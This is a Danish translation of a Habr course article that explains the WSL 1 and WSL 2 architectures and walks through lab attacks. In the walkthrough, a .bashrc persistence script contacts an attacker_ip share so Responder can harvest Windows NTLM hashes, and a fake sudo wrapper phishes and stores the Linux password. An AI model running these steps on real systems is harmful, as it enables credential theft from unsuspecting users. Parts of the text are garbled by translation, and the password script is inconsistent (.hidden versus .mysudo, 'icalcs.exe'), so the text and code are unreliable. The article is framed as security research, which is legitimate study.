Hej, Habr! I oktober lancerer OTUS et nyt hold af kurset . I takt med at kurset nærmer sig, deler vi en artikel, skrevet af en af vores undervisere — Alexander Kolesnikov.
I 2016 præsenterede Microsoft for IT-fællesskabet en ny teknologi WSL (Windows Angreb op til 1,2ubsystem for Linux), som i fremtiden skulle muliggøre en sammenslutning af tidligere uforenelige konkurrenter, der kæmpede om popularitet blandt både almindelige og avancerede brugere af styresystemerne: Windows og Linux. Denne teknologi gav mulighed for at bruge værktøjer fra Linux OS i et Windows-miljø uden at skulle køre Linux, for eksempel ved hjælp af multiboot. På Habr kan du finde et stort antal artikler, der beskriver fordelene ved at bruge WSL. Men desværre blev der på tidspunktet for udarbejdelsen af artiklen ikke fundet nogen sikkerhedsforskning vedrørende dette symbiose af operativsystemer på denne ressource. Dette indlæg vil være et forsøg på at rette op på dette. Artiklen vil beskrive egenskaberne ved WSL 1 og 2-arkitekturerne og gennemgå flere eksempler på angreb på systemer, der anvender disse teknologier. Artiklen er opdelt i 2 dele. I den første præsenteres de grundlæggende teoretiske angrebsmetoder fra Linux og Windows. Den anden artikel vil omfatte opsætning af et testmiljø og reproduktion af angreb.
WSL 1: arkitekturens egenskaber
For at få en så præcis forståelse som muligt af sikkerhedsproblemerne ved WSL er det nødvendigt at definere de vigtigste nuancer i forbindelse med implementeringen af subsystemet. En af de primære brugeropgaver, som WSL løser, er at muliggøre arbejde via Linux-terminalsystemer på en vært med Windows OS. Den foreslåede kompatibilitet var også så naturlig, at Linux-udførelser (ELF) kunne køres direkte i Windows-systemet. For at nå disse mål blev der skabt et specielt subsystem i Windows 10, der tillod kørsel af Linux-applikationer ved hjælp af et sæt specifikke systemopkald — således blev en indsats gjort for at mappe sættet af Linux syscall'er til Windows. Fysisk blev dette realiseret ved at tilføje nye drivere og et nyt procesformat. Visuelt så arkitekturen således ud:
I bundet er interaktionen med Linux operativsystemet organiseret gennem flere kerne-moduler og en særlig type processer - pico. Som det fremgår af ovenstående skema, skal en proces, der køres i et Linux-instant på værten, være nativen og bruge de samme ressourcer som almindelige Windows-applikationer. Men hvordan opnår man dette? I projektet blev der udviklet koncepter for processer til Windows, der leverede alle nødvendige komponenter til operativsystemet (afhængigt af versionen) for kørsel af applikationer fra et andet OS.
Vi bemærker, at den foreslåede abstraktion tillod at undgå at orientere sig mod operativsystemet (især Windows), hvor processer fra et andet OS forventes at køre, og tilbød en generel tilgang.
Dermed kunne enhver applikation inde i pico-processen fungere uden hensyntagen til Windows-kernen:
- Kompatibilitetsproblemer og oversættelse af systemopkald skal løses af særlige udbydere;
- Adgangskontrol skal styres gennem Sikkerhedsmonitoren. Monitoren ligger i kernen, og derfor var det nødvendigt at opgradere Windows med en ny driver, der kunne fungere som udbyder for sådanne processer. Prototypen af pico-processen er skematisk præsenteret nedenfor:
Da Linux-filsystemet bruger case-sensitive fil- og mappenavne, blev der i Windows tilføjet 2 typer af filsystemer til brug med WSL - VolFS og DriveFS. VolFS er en implementation af Linux-filsystemet, mens DriveFS er et filsystem, der opererer i henhold til Windows-regler, men har mulighed for at vælge case-sensitivity for navne.
WSL 2
WSL 1 havde en række begrænsninger, der gjorde det umuligt at løse et maksimum af opgaver: for eksempel var der ingen mulighed for at køre 32-bit Linux-applikationer, og device-drivere kunne ikke bruges. Derfor blev WSL 2 udgivet i 2020, som ændrede tilgangen til opbygning af subsystemet. WSL 2 er en optimeret virtuel maskine, der svarer til WSL 1 med hensyn til ressourceforbrug. Nu kan brugerne af Windows OS vælge den nødvendige version af Linux-subsystemet afhængigt af de problemer, de ønsker at løse. For at mitigere mulige sårbarheder blev WSL 2 implementeret baseret på Hyper-V i Windows 10. I denne version har Windows mulighed for isoleret at køre kernen af Linux-operativsystemet. Det er vigtigt at huske, at version 1 af WSL blev præsenteret som en beta-funktion, der skulle vise udviklingsretningen for Windows på dette område, så overgangen til Hyper-V var uundgåelig. Den endelige arkitektur ser således ud:
I denne version har kernen i Windows- og Linux-systemerne deres egne ressourcer, og der er kun en delvis overlapning i filsystemet, men dette overlap kan ikke kaldes fuldstændigt. Interaktionen mellem filsystemerne sker gennem en klient-server-wrapper, der fungerer via 9P-protokollen.
I dag tilbyder Microsoft muligheden for at skifte mellem WSL 1 og WSL 2. Begge versioner er tilgængelige til brug.
Sikkerhed i WSL
På nuværende tidspunkt findes der flere arbejder, der beskriver nogle tilgange til brug af legitime værktøjer i OS til angreb på interaktionen mellem subsystemerne. Vi vil bruge deres scenarier til at teste relevansen af angrebene på tidspunktet for skrivningen af artiklen. Den samlede liste over angreb og gennemførelsesscenarier:
1. Implementering af filsystem: adgangsrettigheder, tilstedeværelse af delte mapper/dataudvekslingsmekanismer.
Undersøgelser blev udført for at finde brud på adgangsregler fra Linux FS->Windows FS, Windows FS->Linux FS. Undersøgelserne viste mulighed for at ændre en specificeret fil inden for det målrettede OS. Der blev også udført forsøg på at manipulere, skabe duplikater og slette dele af filsystemerne.
Scenarie:
- A. Angreb fra Windows-operativsystemet - ændring af filer fra mappen /etc i Linux OS.
- B. Angreb fra Linux-operativsystemet - ændring af filer i mapperne:
C:Windows,C:Program Files,C:Users
2. Implementering af netværksstakken.
Undersøgelserne blev udført ved eksempler på angreb fra Linux-operativsystemet på Windows. Der blev brugt funktioner i netværksstakken, nemlig autentificeringsmekanismer på forskellige ressourcer.
Scenarie:
- Åbning af adgang til en port, der er optaget i Windows-systemet
- Åbning af en port uden de nødvendige rettigheder
- Kørsel af reverse shell ved hjælp af en elf-fil i Windows-operativsystemet.
3. Skjulning af processer og malware ved hjælp af WSL-understystemet.
Forskningsarbejdet blev baseret på den enkle kendsgerning, at sikkerhedssystemer ikke kan fange hændelser i en anden kerne, der arbejder med en legitim udbyder fra operativsystemet i tilfælde af WSL 1. I WSL 2 er der ingen mulighed for at se hændelser, der sker i en separat kerne inden for en let virtuel maskine.
Scenarie:
1) Kørsel af adgangsapplikation til systemet og visning af registrerede hændelser.
WSL 1 eksperimenter: fangst af hash (Windows OS)
Endelig er vi nået til den praktiske del. For det første er det nødvendigt at konfigurere miljøet til testene. Alle eksperimenter vil blive udført på en testbænk med Windows 10 2004 installeret. Som operativsystembillede til WSL blev Ubuntu 18.04 valgt. Billedet blev valgt tilfældigt, og enhver anden vil fungere på samme måde. Kommandoer til opsætning af testbænken:
Forudgående skal du starte powershell.exe som administrator.
For WSL 1 skal du køre følgende kommandoer:
- Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Aktiver WSL-funktionen
- Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
-OutFile ~/Ubuntu.appx -UseBasicParsing #Download Linux-billedet fra Microsoft Store
Efter genstarten af testbænken kan kommandoen bash kaldes. Hvis alt er rigtigt, vil du se omtrent følgende output i Windows-konsollen:
Som angribermaskine vil vi bruge Kali Linux-distributionen, og alle maskiner skal være på samme lokale netværk.
Lad os antage, at vi har ikke-privilegeret adgang til WSL på en Windows-maskine. Lad os forsøge at udføre et angreb på operativsystemet Linux ved at kalde en kommando fra Linux. For at gennemføre angrebet vil vi bruge en simpel autostart-teknik - vi tilføjer vores script til udførelse i Linux-miljøet. For dette skal filen ændres .bashrc.
På maskinen med WSL kører vi:
1. bash
2. Gå til brugerens hjemmebibliotek: cd /home/sam/
3. echo " /home/sam/.attack.sh" >> .bashrc
4. echo "icalcs.exe \\\\attacker_ip\\shareName\\" > /dev/null 2>&1 >> .attack.sh
5. chmod u+x .attack.sh
6. exitPå Kali Linux-maskinen kører vi:
1. Responder -I eth0 -rdvwPå Windows-maskinen starter vi bash.
Vi venter på resultatet på Kali Linux-maskinen:
Således har vi opnået hashes for Windows-brugeren gennem WSL, ved at udføre en kommando på Linux-systemet.
WSL 1 eksperimenter: Hentning af brugerens password (Linux OS)
Lad os lave et andet eksperiment. I løbet af denne kontrol vil vi tilføje filen .bashrc med flere kommandoer for at få passwordet til brugerens Linux-operativsystem.
Vi starter bash og indtaster kommandoerne:
1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt" >> .mysudo/sudo
8. echo " /usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit For at angrebet skal lykkes, er det nødvendigt, at brugeren Sam kalder sudo i terminalen Linux. Efter dette vil passwordet til Linux OS-brugeren være i filen pass.txt:
Implementeringen af angrebene er kun givet til teoretisk orientering.
I den næste del af artiklen vil implementeringen af 9P-protokollen blive beskrevet, oprettelsen af en scanner til denne protokol, samt et angreb udført med dens hjælp.
Liste over anvendt litteratur
Læs mere
Kilde: habr.com
